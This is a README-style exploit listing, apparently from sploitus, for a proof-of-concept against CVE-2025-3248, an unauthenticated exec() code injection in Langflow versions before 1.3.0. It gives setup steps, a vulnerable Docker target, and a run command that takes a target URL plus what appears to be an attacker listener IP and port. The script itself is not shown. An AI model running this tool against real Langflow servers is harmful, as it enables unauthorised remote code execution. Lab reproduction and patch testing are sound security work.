Share
## https://sploitus.com/exploit?id=ACE2808D-D8E7-5480-A37E-6C2F309255FE
# CVE-2025-3248
## Introduction
Langflow versions prior to 1.3.0 are susceptible to unauthenticated code injection in the /api/v1/validate/code endpoint via Python exec() function.
## Usage
### Configuration
```
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
pip install -r requirements.txt
```
### Vuln App
```
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
```
### Run
```
python3 cve-2025-3248.py
```
E.g.: `python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337`
## References
- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
- GitHub: https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
- Original Exploit: https://www.exploit-db.com/exploits/52262